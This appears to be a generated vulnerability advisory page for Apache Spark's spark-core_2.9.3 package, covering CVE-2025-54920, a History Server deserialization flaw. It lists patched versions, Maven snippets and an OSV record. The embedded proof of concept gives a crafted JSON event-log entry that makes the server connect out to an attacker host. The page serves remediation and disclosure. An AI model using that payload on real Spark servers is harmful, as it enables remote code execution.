Vulnerabilities in pkg:maven/org.apache.spark/spark-core_2.9.3
PACKAGECVE-2025-54920 is a HIGH (CVSS 8.8) spark history server code execution vulnerability (CWE-502: Deserialization of Untrusted Data) affecting Apache Spark libraries in the Maven ecosystem. The issue involves spark history server code execution vulnerability. Remediation is available by upgrading affected packages to version 4.0.1, 3.5.7.
pkg:maven/org.apache.spark/spark-core_2.9.3
Vulnerability advisories affecting package pkg:maven/org.apache.spark/spark-core_2.9.3. Select an advisory below to view technical details or fixes.
| Advisory ID | CVE / NVD | Severity | Summary |
|---|---|---|---|
| GHSA-jwp6-cvj8-fw65 | CVE-2025-54920 | HIGH | Apache Spark: Spark History Server Code Execution Vulnerability |
| GHSA-43xg-8wmj-cw8h | CVE-2022-31777 | MODERATE | Apache Spark vulnerable to Log Injection |
CVE-2025-54920 at a Glance
Security Impact
CVSS: 8.8
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
How to Fix CVE-2025-54920
To remediate this vulnerability, upgrade all affected Apache Spark dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
<dependency>
<groupId>org.apache.spark</groupId>
<artifactId>spark-core_2.13</artifactId>
<version>4.0.1</version>
</dependency>
<dependency>
<groupId>org.apache.spark</groupId>
<artifactId>spark-core_2.13</artifactId>
<version>3.5.7</version>
</dependency>
<dependency>
<groupId>org.apache.spark</groupId>
<artifactId>spark-core_2.12</artifactId>
<version>3.5.7</version>
</dependency>
<dependency>
<groupId>org.apache.spark</groupId>
<artifactId>spark-core_2.11</artifactId>
<version>Latest secure release</version>
</dependency>
<dependency>
<groupId>org.apache.spark</groupId>
<artifactId>spark-core_2.10</artifactId>
<version>Latest secure release</version>
</dependency>
<dependency>
<groupId>org.apache.spark</groupId>
<artifactId>spark-core_2.9.3</artifactId>
<version>Latest secure release</version>
</dependency>
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
mvn dependency:tree -Dincludes=org.apache.spark
How to Check if You Are Affected
To determine whether your Java application is affected by CVE-2025-54920, inspect your build dependencies using the Maven Dependency Plugin:
mvn dependency:tree -Dincludes=org.apache.spark
Analyze the terminal output to locate any version of Apache Spark in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.0.1), your application is affected.
Note: The mvn dependency:tree -Dincludes=org.apache.spark command inspects the resolved dependency graph declared in your project's POM files; it does not perform automated security scanning or inspect runtime dynamic classpaths. Always verify runtime container classpaths and shaded JARs.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-502: Deserialization of Untrusted Data, where the product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid. In Apache Spark, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2025-54920 Affected Apache Spark Versions
6 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
org.apache.spark:spark-core_2.13
|
Maven |
≥ 4.0.0
< 4.0.1
|
4.0.1
|
|
org.apache.spark:spark-core_2.13
|
Maven |
< 3.5.7
|
3.5.7
|
|
org.apache.spark:spark-core_2.12
|
Maven |
< 3.5.7
|
3.5.7
|
|
org.apache.spark:spark-core_2.11
|
Maven |
≤ 2.4.8
|
|
|
org.apache.spark:spark-core_2.10
|
Maven |
≤ 2.2.3
|
|
|
org.apache.spark:spark-core_2.9.3
|
Maven |
≤ 0.8.1-incubating
|
|
References
Frequently Asked Questions
What is CVE-2025-54920?
Which Apache Spark versions are affected?
What version fixes CVE-2025-54920?
Is spark-core_2.13 affected?
Is spark-core_2.12 affected?
What is the CVSS score of CVE-2025-54920?
What CWE is associated with CVE-2025-54920?
How can I check Maven dependencies for CVE-2025-54920?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-jwp6-cvj8-fw65",
"modified" : "2026-03-17T19:53:20Z",
"published" : "2026-03-16T15:30:41Z",
"aliases" : [ "CVE-2025-54920" ],
"summary" : "Apache Spark: Spark History Server Code Execution Vulnerability",
"details" : "This issue affects Apache Spark: before 3.5.7 and 4.0.1. Users are recommended to upgrade to version 3.5.7 or 4.0.1 and above, which fixes the issue.\n\n## Summary\n\nApache Spark 3.5.4 and earlier versions contain a code execution vulnerability in the Spark History Web UI due to overly permissive Jackson deserialization of event log data. This allows an attacker with access to the Spark event logs directory to inject malicious JSON payloads that trigger deserialization of arbitrary classes, enabling command execution on the host running the Spark History Server.\n\n## Details\n\nThe vulnerability arises because the Spark History Server uses Jackson polymorphic deserialization with @JsonTypeInfo.Id.CLASS on SparkListenerEvent objects, allowing an attacker to specify arbitrary class names in the event JSON. This behavior permits instantiating unintended classes, such as org.apache.hive.jdbc.HiveConnection, which can perform network calls or other malicious actions during deserialization.\n\nThe attacker can exploit this by injecting crafted JSON content into the Spark event log files, which the History Server then deserializes on startup or when loading event logs. For example, the attacker can force the History Server to open a JDBC connection to a remote attacker-controlled server, demonstrating remote command injection capability.\n\n## Proof of Concept:\n\n1. Run Spark with event logging enabled, writing to a writable directory (spark-logs).\n\n2. Inject the following JSON at the beginning of an event log file:\n\n```\n{\n\n \"Event\": \"org.apache.hive.jdbc.HiveConnection\",\n \"uri\": \"jdbc:hive2://<IP>:<PORT>/\",\n \"info\": {\n \"hive.metastore.uris\": \"thrift://<IP>:<PORT>\"\n }\n}\n```\n3. Start the Spark History Server with logs pointing to the modified directory.\n\n4. The Spark History Server initiates a JDBC connection to the attacker’s server, confirming the injection.\n\n## Impact\n\nAn attacker with write access to Spark event logs can execute arbitrary code on the server running the History Server, potentially compromising the entire system.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Maven",
"name" : "org.apache.spark:spark-core_2.13"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "4.0.0"
}, {
"fixed" : "4.0.1"
} ]
} ]
}, {
"package" : {
"ecosystem" : "Maven",
"name" : "org.apache.spark:spark-core_2.13"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "3.5.7"
} ]
} ]
}, {
"package" : {
"ecosystem" : "Maven",
"name" : "org.apache.spark:spark-core_2.12"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "3.5.7"
} ]
} ]
}, {
"package" : {
"ecosystem" : "Maven",
"name" : "org.apache.spark:spark-core_2.11"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"last_affected" : "2.4.8"
} ]
} ]
}, {
"package" : {
"ecosystem" : "Maven",
"name" : "org.apache.spark:spark-core_2.10"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"last_affected" : "2.2.3"
} ]
} ]
}, {
"package" : {
"ecosystem" : "Maven",
"name" : "org.apache.spark:spark-core_2.9.3"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"last_affected" : "0.8.1-incubating"
} ]
} ]
} ],
"references" : [ {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-54920"
}, {
"type" : "WEB",
"url" : "https://github.com/apache/spark/pull/51312"
}, {
"type" : "WEB",
"url" : "https://github.com/apache/spark/pull/51323"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/apache/spark"
}, {
"type" : "WEB",
"url" : "https://issues.apache.org/jira/browse/SPARK-52381"
}, {
"type" : "WEB",
"url" : "https://lists.apache.org/thread/4y9n0nfj7m68o2hpmoxgc0y7dm1lo02s"
}, {
"type" : "WEB",
"url" : "http://www.openwall.com/lists/oss-security/2026/03/13/4"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-502" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-03-17T19:53:20Z",
"nvd_published_at" : "2026-03-16T14:17:59Z"
}
}